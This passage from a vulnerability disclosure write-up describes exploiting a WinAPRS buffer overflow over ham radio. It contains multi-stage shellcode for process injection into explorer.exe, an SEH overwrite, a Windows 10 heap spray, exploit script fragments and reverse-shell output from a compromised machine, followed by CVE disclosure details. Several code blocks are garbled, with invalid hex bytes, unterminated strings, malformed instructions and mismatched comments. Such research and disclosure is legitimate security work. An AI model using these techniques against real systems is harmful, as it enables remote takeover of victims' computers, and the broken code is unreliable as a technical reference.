push ecx ;
add ecx, 0x102 ;
push ecx ;
call [ebp+0x262] ;
mov [ebp+0x33c], eax ;

; Get next process in list
lea ebx, [ebp+0x448] ;
xor ecx, ecx ;
push ecx ;
mov ebx, [ebp+0x446], ecx ;
push eax ;
call [ebp+0x28a] ;

; Check if process is explorer.exe
lea ebx, [ebp+0x448] ;
push ebx ;
mov eax, [ebp+0x34] ;
push eax ;
call [ebp+0x2e2] ;
xor ecx, ecx ;

; Compare loop
mov ecx, 0x4bbcb2c1 ;
shr edx, 0x08 ;
mov esi, [edx+4*ecx] ;
cmp esi, [edi+4*ecx] ;
jne call Process32Next ;
inc ecx ;
cmp ecx, 0x03 ;
jne compare_loop ;

; Get explorer.exe PID
mov ecx, [ebp+0x8] ;
```

# Close COM port so it will work in stage 2

```
; Need to close COM port so stage 2 can use it
mov ebx, [0x815d5f18] ; On XP SP3 this seems to be a pointer to the COM port handle
push ebx ;
call eax ;
```

# call CloseHandle

Now that the PID of explorer.exe is known, the shellcode can obtain a handle to the process. This is accomplished with the Win32 OpenProcess API. The PID is used as an argument to the function. The resulting handle is saved to the stack for later.

```assembly
207    # ---------------------------------------------
208    # Get handle to explorer.exe process
209    # ---------------------------------------------
210    "call_OpenProcess:"
211    "    push ecx;"    # Open explorer.exe process
212    "    xor edx, edx;"    # arg: dwProcessId
213    "    push edx;"    # NULL
214    "    mov eax, 0x1f0fff01;"
215    "    shr eax, 0x08;"    # 0x001f0fff (PROCESS_ALL_ACCESS)
216    "    push eax;"    # arg: dwDesiredAccess
217    "    mov [ebp+0x3c], ecx;"    # Save counter value
218    "    call dword ptr [ebp+0x14];"    # call OpenProcess
219    "    mov [ebp+0x30], eax;"    # save handle for later
220```

Next, the shellcode uses the Win32 VirtualAllocEx API to allocate a new chunk of writable and executable memory in the remote explorer.exe process. VirtualAllocEx returns the memory address of the new chunk, which is saved to the stack for later.

```assembly
221    # ---------------------------------------------
222    # Allocate memory in explorer.exe to write stage 2
223    # ---------------------------------------------
224    "call_VirtualAllocEx:"
225    "    xor ecx, ecx;"
226    "    add ecx, 0x80;"
227    "    push ecx;"    # arg: flProtect (PAGE_EXECUTE_READWRITE) 0x40
228    "    add cx, 0x2fc1;"
229    "    dec ecx;"
230    "    push ecx;"    # arg: flAllocationType (MEM_RESERVE) 0x3000
231    "    sub cx, 0x3002;"    # arg: dwSize (0x3000 bytes)
232    "    push ecx;"    # arg: lpAddress (NULL)
233    "    xor edx, edx;"
234    "    push edx;"    # arg: hProcess (handle to identified process)
235    "    push eax;"
236    "    call dword ptr [ebp+0x18];"    # Call VirtualAllocEx
237    "    mov [ebp+0x0c], eax;"    # save remote address for later
238```

Once new memory is allocated in explorer.exe, the shellcode calls the WriteProcessMemory API to copy the stage two shellcode to the new address. Although it first overwrites several DWORDs in stage two. Due to the limited space available in the first exploit packet, there's not enough room to include the Win32 API lookup functions in both stage one and stage two. Therefore, stage 2 will need to know the addresses of its required Win32 functions some other way.

WinAPRS makes use of many Win32 APIs. The addresses of those used APIs are placed in WinAPRS' import table. The WinAPRS import table addresses never change between reboots, or even between OS versions. So even if the
Win32 API addresses change, they can always be found at the same address in WinAPRS' import table. In the below example, the CreateFileA address will be stored at memory location 0x00760570.

![Import Table Example]

The stage one shellcode copies the addresses from WinAPRS' import table and writes them into the stage two shellcode in specific locations. The stage two shellcode can then use these later without having to look them up. This saves space by not having to copy the many lines of lookup function code into stage two. This will become clear when we review the stage two shellcode next.
Once the stage two shellcode is copied into explorer.exe's process memory, we need to execute it. The stage one shellcode uses the CreateRemoteThread Win32 API to accomplish this task. It passes in the explorer.exe process handle and memory address and tells the process to spawn a new thread from there. At this point, the stage two shellcode should begin to execute inside the explorer.exe process with clean memory.
Finally, the stage one shellcode calls the TerminateProcess Win32 API. This gracefully closes WinAPRS instead of causing a crash, which may be more suspicious.

Stage two shellcode

Now that stage one is complete, it's time for stage two to take over. Stage two's job would normally be to create a reverse shell, but there wasn't enough space left to do that. Instead, its purpose is to read in the final third stage via ham radio and execute that to spawn the shell.

The first thing that happens, is the stack is adjusted to make room for variables. Then, six DWORDs are moved to known locations on the stack. These DWORDS begin as 0xffffffff but are overwritten by the stage one shellcode with memory addresses to various Win32 API functions. This way, the rest of stage two can utilize these APIs without having to waste a bunch of space with lookup functions.
Next, the shellcode needs a way to obtain the stage three shellcode. Since all of this is happening via ham radio, we can’t assume that the victim machine has an Internet connection. We want to send stage three over the radio. That means that the shellcode needs to open the COM port, though we don’t know which COM port is the right one. The next chunk of shellcode attempts to open the COM port using the Win32 CreateFileA API. It starts with COM1. If that fails, it tries COM2, and so on. If it fails after COM9, it will just keep on going in an infinite loop. Hopefully the victim TNC is attached to the lowest available COM port.

Next, we need to be sure the COM port is configured for the correct baud rate. This will depend on each victim machine, but the shellcode is hard coded to configure the COM port to 9600 baud, which is what my TNC uses. In theory, this step shouldn’t be necessary. The COM port should maintain whatever setting WinAPRS had configured. In practice, I found that sometimes COM port operations didn’t always work until I performed this step, so it’s included for reliability.

The Win32 GetCommState API is called, which returns a structure containing the COM port’s current configuration. The DWORD containing the baud rate setting is overwritten. Then SetCommState is called to update the configuration with the correct settings.
Now that the COM port is configured correctly, the shellcode uses the Win32 ReadFile API to read one byte at a time from the COM port. It continues reading until it detects two 0xC0 characters. These are the KISS control characters which denote the beginning and end of the KISS packet. After it detects two 0xC0 characters, the shellcode knows that it has obtained the entire packet.
The shellcode then closes the COM port handle to free up the COM port for stage three.

```
120  # Close COM port so stage 3 can use it
121  # -----------------------------------------------
122  " call_CloseHandle: "
123  " push [ebp+0x44] ;" # arg: hFile
124  " call [ebp+0x2c] ;" # call CloseHandle
```

Finally, it jumps to the buffer containing the newly acquired stage three shellcode. It skips the first 26 bytes which include the AX.25 addressing data.

```
127  # Execute stage 3 payload
128  # -----------------------------------------------
129  " execute_stage_3: "
130  " mov ecx, [ebp+0x24] ;"  # JMP to serial input buffer (offset skips the AX.25 addressing data)
131  " add ecx, 0x12 ;"
132  " jmp ecx ;"
```

**Stage three shellcode**

The third stage of the payload contains the actual reverse shell code. This code is too long to fit in stage two, which is why stage two merely reads in the third stage and jumps to it. With all the extra space, stage three begins with the same Win32 lookup functions that stage one had. It then performs its own lookups for the Win32 APIs it will use later.

Next, it creates named pipes which will be used later with cmd.exe to read output from the terminal and write user input to it. This is done with the CreatePipe API.
The shellcode next needs to call the CreateProcessA API, though one of the arguments for that function is a STARTUPINFOA structure. The shellcode therefore builds this structure on the stack, which includes handles to two of the pipes it just created. This API call launches a new cmd.exe process and sends the input and output to the created pipes.
```
create_startUpInfoa:  "\n    push [ebp+0x5C];  // Push hStdError (hStdOutPipeWrite)
    push [ebp+0x5C];  // Push hStdOutput (hStdOutPipeWrite)
    push [ebp+0x50];  // Push hStdInput (hStdInPipeRead)
    xor ecx, ecx;    // Push lpReserved2
    push ecx;        // Push cbReserved2 & hWnd
    mov al, 0x00;    // Move 0x00 to AL
    xor ecx, ecx;    // Null ECX
    mov cx, 0x01;    // Get to 0x00 without null bytes
    add eax, ecx;    // Set EAX to 0x100
    push eax;        // Push dwFlags
    xor ecx, ecx;    // Null ECX
    push ecx;        // Push dwFillAttribute
    push ecx;        // Push dwCountChars
    push ecx;        // Push dwSize
    push ecx;        // Push dwSize
    push ecx;        // Push dwY
    push ecx;        // Push dwX
    push ecx;        // Push lpTitle
    push ecx;        // Push lpDesktop
    push ecx;        // Push lpReserved
    mov cl, 0x44;    // Move 0x44 to AL
    push ecx;        // Push cb
    push esp;        // Push pointer to the STARTUPINFOA structure
    pop edi;         // Store pointer to STARTUPINFOA in EDI

create_cmd_string:  "\n    mov eax, 0xfffff870b;  // Move 0xfffff870b into EAX
    neg eax;               // Negate EAX, EAX = 0x657665
    push eax;              // Push part of the "cmd.exe" string
    push 0x764d65;         // Push the remainder of the "cmd.exe" string
    push 0x5c32336d;       // Push \x5c
    push 0x5747379;        // Push \x57
    push 0x53c7377;        // Push \x53
    push 0x6f4e69;         // Push \x6f
    push 0x57c3a3;         // Push \x57
    push esp;              // Push pointer to the "cmd.exe" string
    pop ebx;               // Store pointer to the "cmd.exe" string in EBX

call_createprocessa:  "\n    mov eax, esp;        // Move ESP to EAX
    xor ecx, ecx;        // Null ECX
    mov cx, 0x300;       // Move 0x300 to CX
    sub eax, ecx;        // Subtract CX from EAX to avoid overwriting the structure later
    push eax;            // Push lpProcessInformation
    add esp, 0xffffffff0;  // arg: lpProcessInformation
    mov eax, esp;        // arg: lpProcessInformation
    push eax;            // arg: lpProcessInformation
    push edi;            // Push lpStartupInfo
    mov eax, 0xffffffff;  // NULL EAX
    inc eax;             // Push lpCurrentDirectory
    push eax;            // Push lpEnvironment
    push eax;            // Push dwCreationFlags
    inc eax;             // Increase EAX, EAX = 0x01 (TRUE)
    push eax;            // Push bInheritHandles
    dec eax;             // NULL EAX
    push eax;            // Push lpThreadAttributes
    push eax;            // Push lpProcessAttributes
    push eax;            // Push lpCommandLine
    push ebx;            // Push lpApplicationName
    call dword ptr [ebp+0x38];  // Call CreateProcessA
```
Next, two unnecessary handles are closed using the Win32 CloseHandle API.

```assembly
# -----------------------------
# Close unneeded handles
# -----------------------------
" push [ebp+0x5c] ;"     # stdOutPipeWrite
" call [ebp+0x20] ;"     # Call CloseHandle

" push [ebp+0x50] ;"     # stdInPipeRead
" call [ebp+0x20] ;"     # Call CloseHandle
```

The shellcode needs a place to store the input and output, so VirtualAlloc is called to allocate some memory.

```assembly
# -----------------------------
# Allocate memory for SerialBuffer
# -----------------------------
" call VirtualAlloc: 
" xor ecx, ecx ;
" add ecx, 0x40 ;
" push ecx ;
" add cx, 0x2fc1 ;
" dec ecx ;
" push ecx ;
" sub ecx, 0x3002 ;
" push ecx ;
" xor edx, edx ;
" push edx ;
" call dword ptr [ebp+0x34] ;" # Call VirtualAlloc
" mov [ebp+0x0c], eax ;" # save remote address for later
```

The next code block is reused from stage two, and attempts to open all COM ports again, starting with COM 1 and working its way up until it finds one that works. It also reconfigured the baud rate again for reliability.
Next is where the main remote shell loop happens. The shellcode calls the Win32 Sleep API to wait for one second for the shell command to complete. Then it reads data from the cmd.exe output pipe into a buffer.
KISS control characters are added to the buffer, and that final KISS packet is written to the serial port using the WriteFile API. At this point, the cmd.exe output should be transmitted over the airwaves back to the attacker.
The next code block uses the ReadFile API to read from the serial port until two KISS control characters are detected. This is essentially the same code that stage two used to read stage three. This time, the buffer will contain shell commands from the attacker.
The shellcode then adds carriage return characters to the attacker's commands and writes them to the cmd.exe process' input pipe. This allows the attacker to execute shell commands as if they were sitting in front of the computer (though with some limitations).
The shellcode then loops forever so the attacker can enter as many commands as they like.
Exploit

Windows XP SP3 exploit
These three shellcode stages are assembled separately into Python byte strings and pasted into the final exploit script.

```python
import sys
import socket
import serial
import time

# BADCHARS: \x00\xC0\xDB (KISS protocol control chars)

# Third stage payload
stage3 = '\x81\xc4\xf8\xeF\xff\x89\x8e5\x81\xc4\xf8\xel\xff\x31\xc9\xe64\x8b\x71\x30

# Second stage payload
stage2 = '\x81\xc4\xf8\xeF\xff\xc7\x44\x24\x10\xff\xff\xc7\x44\x24\x14\xff\x78\x93' 

# First stage payload
stage1 = '\xe9\xe5\x81\xc4\xf8\xeF\xff\x89\xe0\x8b\x1d\xda\xe56\x88\x7c\xe3\xc3' 
```

The final payload consists of KISS control characters to begin and end the malicious packet. Then there are AX.25 addressing components to ensure the packet is processed correctly by WinAPRS. The message portion of the APRS packet begins with the stage one shellcode, followed immediately by stage two. The exploit then fills in any gaps with 'A' characters, ensuring the NSEH and SEH address end up in the correct positions. Next the NSEH and SEH addresses are appended. NSEH contains jump code which will instruct the CPU to jump over the SEH address and continue execution.

After the SEH address is additional jump code that will point the CPU to the beginning of the stage one shellcode. Finally, some 'C' characters are appended to the end to ensure the packet is long enough to trigger the overflow.
The exploit sends the first packet immediately and then waits for user input. It takes a few seconds for the exploit to trigger and for WinAPRS to close. The attacker can then press enter to send stage three and then sit back and wait for their shell.

The KISS encoding Python code was adapted from this example I found:
https://thomask.sdf.org/code/send_kiss_frame.py
Windows XP video demo

A demonstration video is available here: https://vimeo.com/710564551
Windows 10 exploit

I mentioned earlier that I was able to get this exploit working on Windows 10. It takes an extra step and is less reliable, but it does work. The main problem with exploiting this vulnerability on modern versions of Windows is ASLR. There's no reliable address to point the CPU to for a POP, POP, RET instruction. There is, however, an unreliable way.

I sent a few packets to my WinAPRS victim and searched for them in process memory using WinDbg.

```
0:004> s -a 0xFFF0000000 TESTMESSAGE 00bb6df 54 45 53 54 4d 45 53 53-41 47 45 0d 0a 00 00 00 00 TESTMESSAGE....
00bbc9e8 54 45 53 54 4d 45 53 53-41 47 45 00 00 00 00 00 00 TESTMESSAGE....
00bbcafb 54 45 53 54 4d 45 53 53-41 47 45 00 00 00 00 00 00 TESTMESSAGE....
00bbccfb 54 45 53 54 4d 45 53 53-41 47 45 00 00 00 00 00 00 TESTMESSAGE....
00f2d337 54 45 53 54 4d 45 53 53-41 47 45 01 00 50 52 53 TESTMESSAGE...PRS
05ef21b2 54 45 53 54 4d 45 53 53-41 47 45 00 80 32 00 00 TESTMESSAGE...2.
05ef21d9 54 45 53 54 4d 45 53 53-41 47 45 00 80 32 00 00 TESTMESSAGE...2.
05ef2200 54 45 53 54 4d 45 53 53-41 47 45 00 00 00 00 00 00 TESTMESSAGE....
```

I found them all crammed in next to each other. I noticed that their memory address did not contain a null byte.

```
0:004> db 05ef21b2 1100
05ef21b2 54 45 53 54 4d 45 53 53-41 47 45 00 80 32 00 00 TESTMESSAGE...2.
05ef21c2 83 37 e9 dd [6DAD-ADAD] ee 57 4f 52 4c 44 .7...WORLD
05ef21d2 2c 44 49 47 49 3a 5a 54-45 53 53-41 47 45 00 00 00 00 DIGI1:TESTMESSA
05ef21e2 47 45 00 80 32 00 00 86-37 e9 dd [6DAD-ADAD] GE...2..7.
05ef21f2 3e 57 4f 52 4c 44 2c-44 49 47 49 31 3a 5a 54 45 WORLD_DIGI1:TE
05ef2202 53 54 4d 45 53 53-41 47 45 00 00 00 00 00 00 STMESSAGE....
05ef2212 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

I found that this was a 1004kB chunk of heap memory allocated by WinAPRS, apparently to store this packet data.

```
0:004> !address 05ef21b2

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage: Heap
Base Address: 05ef2000
End Address: 05fed000
Region Size: 0006b000 (1004 000 kB)
State: 00000100 MEM_COMMIT
Protect: 00000004 PAGE_READONLY
Type: 00020000 MEM_PRIVATE
Allocation Base: 05ef0000
Allocation Protect: 00000004 PAGE_READONLY
More info: heap owning the address: !heap_0x5f10000
More info: heap large/virtual block
More info: heap entry containing the address: !heap -x 0x5ef21b2
```

I found that when WinAPRS restarted, this address changed. Sometimes a lot, sometimes a little bit. It seemed there are a few areas of memory Windows "liked" to start from and then the exact location varied slightly from there. For example, I saw this chunk of memory allocated in address ranges 0x03128000-0x03296000, 0x05d8a000-0x05f7d000,
and 0x08102000-08301000. These areas of memory stayed consistent between reboots. This meant that the chosen heap memory address was somewhat predictable.

The 1004kB memory chunk allocated was big enough to overlap large sections of each of those three primary ranges. This meant that if I could fill the entire chunk of memory with my own payloads containing POP, POP, RET instructions, I could have a somewhat decent chance of hitting one of them. I ran over thirty tests manually and chose the address 0x03216170. It seemed to have the most overlap based on the data I was able to collect.

The next step was to find a way to fill that buffer with my own packets. I wasn’t about to send them over the air for every test. That would take hours per attempt. Instead, I wrote Python script that emulated a KISS TNC on Windows and sent KISS packets directly to WinAPRS, bypassing the airwaves to prove the concept. Through trial and error, I figured out the most bytes I could fit into my packet and have them all still show up in the buffer. I also discovered that the RET instruction (0xC3) was filtered by WinAPRS and could not be used. I therefore replaced it with a JMP [esp+0x08] instruction, which had the same effect. The rest of the payload was filled with NOPs (0x90). This is called a NOP sled. If my hardcoded heap address hits anywhere in the NOP sled, the CPU will just skip each NOP instruction until it eventually hits my POP, POP, RET equivalent instructions at the end. I also discovered that the buffer could hold about 10,000 packets, so that’s how many packets the script sends. This fills up the buffer as much as possible and gives the exploit more chances to hit the POP, POP, RET instruction sequence.

The first step of running the exploit against Windows 10, is to run this script against the victim. In a real-world attack, you’d have to send these 10,000 packets over the air one after another, blocking the frequency from anyone else. It could work, but it’s not very practical and would certainly draw attention. This script simulates that process to save time.

The Windows 10 exploit then works similarly to the Windows XP exploit, with a few changes. First, there are no structures on the heap that need “fixing” by the shellcode. Also, I can call most Win32 APIs right from the first payload. However, on Windows 10, I have not found a reliable memory address to obtain a handle to the COM port. This means I don’t have a reliable way to access the COM port to send or receive data from the attacking machine. The easiest way to free up the COM port was to close the WinAPRS process. So, I still was stuck using multiple shellcode stages like I did with Windows XP.

Another problem is that Windows 10 is a 64-bit operating system. Explorer.exe is a 64-bit process. My shellcode is 32-bit shellcode. This means that I can no longer inject it into explorer.exe unless I rewrite it to use 64-bit assembly.

Instead of reinventing the wheel, the stage one shellcode now calls CreateProcessA to launch a 32-bit cmd.exe
process. Stage one then injects stage two into that process instead of explorer.exe which will then be used to execute stage 2.

The second and third stage shellcode are almost identical to the Windows XP shellcode, with one simplification. For the Windows 10 shellcode, I don't close the COM port at the end of stage two. Instead, I leave it open, and stage three just uses the same handle that stage two used.

The Windows 10 exploit is less reliable than the XP exploit because it depends on Windows choosing a heap memory address that includes the hardcoded address in the exploit. I've found this to be maybe a one third chance of success, probably a bit less. It also requires that the attacker spend a few hours spamming packets at the victim to groom the heap. But it goes to show that an attacker with enough determination can still exploit this vulnerability on a modern operating system.

```bash
pi@pi-tnc:~/exploits/WinAPRS/Win10 $ python3 ax25_win10_exploit.py
[+] Total shellcode size: 690
[+] Sending exploit packet...
[+] Stage 1 sent!
Press enter to send second packet
[+] Stage 2 sent!
[+] Waiting for reverse shell...

Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Desktop\WinAPRS>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:
    Connection-specific DNS Suffix . : localhost
    Link-Local IPv6 Address . . . . . . . . . : fe80::2df3:7b03:9265:f3c3%4
    IPv4 Address . . . . . . . . . . . . . . : 192.168.231.135
    Subnet Mask . . . . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . . . . : 192.168.231.2

C:\Users\IEUser\Desktop\WinAPRS>wmic os get Caption,CSDVersion /value
wmic os get Caption,CSDVersion /value

Caption:Microsoft Windows 10 Enterprise Evaluation
CSDVersion=

C:\Users\IEUser\Desktop\WinAPRS>
```

Windows 10 video demo

A demonstration video is available here: https://vimeo.com/710584594
Disclosure

I disclosed this bug and several others to the software authors on December 28, 2020. I wasn’t sure if I’d receive a reply since the software hadn’t been updated since 2013, but I was surprised to hear back from them almost immediately. I had a great conversation with the author about the bug I found and other security vulnerability categories they were interested related to a new project they are working on. I even inspired them to search for overflow bugs in their new project! Unfortunately, the author no longer has an environment configured to develop WinAPRS, so the bugs are unlikely to ever be fixed.

CVEs were obtained on February 9, 2022.

CVE-2022-24702
CVE-2022-24701
CVE-2022-24700

Coalfire is publicly disclosing this bug in accordance with our vulnerability disclosure policy. Full details can be found here: https://www.coalfire.com/vulnerability-disclosure-policy

Full exploit source code is on GitHub at https://github.com/Coalfire-Research/WinAPRS-Exploits

About the author

Rick Osgood, Principal Security Consultant, Labs

Rick has been an enthusiastic penetration tester since 2015 and has been involved with the security community since 2005. As a Principal Security Consultant at Coalfire, Rick conducts application and API tests, cloud testing, network penetration tests, and wireless tests. He has also completed multiple security-related research and development projects.

About Coalfire

The world's leading technology infrastructure providers, SaaS companies, and enterprises – including the top 5 cloud service providers and 8 of the top 10 SaaS businesses – rely on Coalfire to strengthen their security posture and secure their digital transformations. As the largest firm dedicated to cybersecurity, Coalfire delivers a comprehensive suite of advisory and managed services, spanning cyber strategy and risk, cloud security, threat and vulnerability management, application security, privacy, and compliance management. A proven leader in cybersecurity for the past 20 years, Coalfire combines extensive cloud expertise, advanced technology, and innovative approaches that fuel success. For more information, visit Coalfire.com.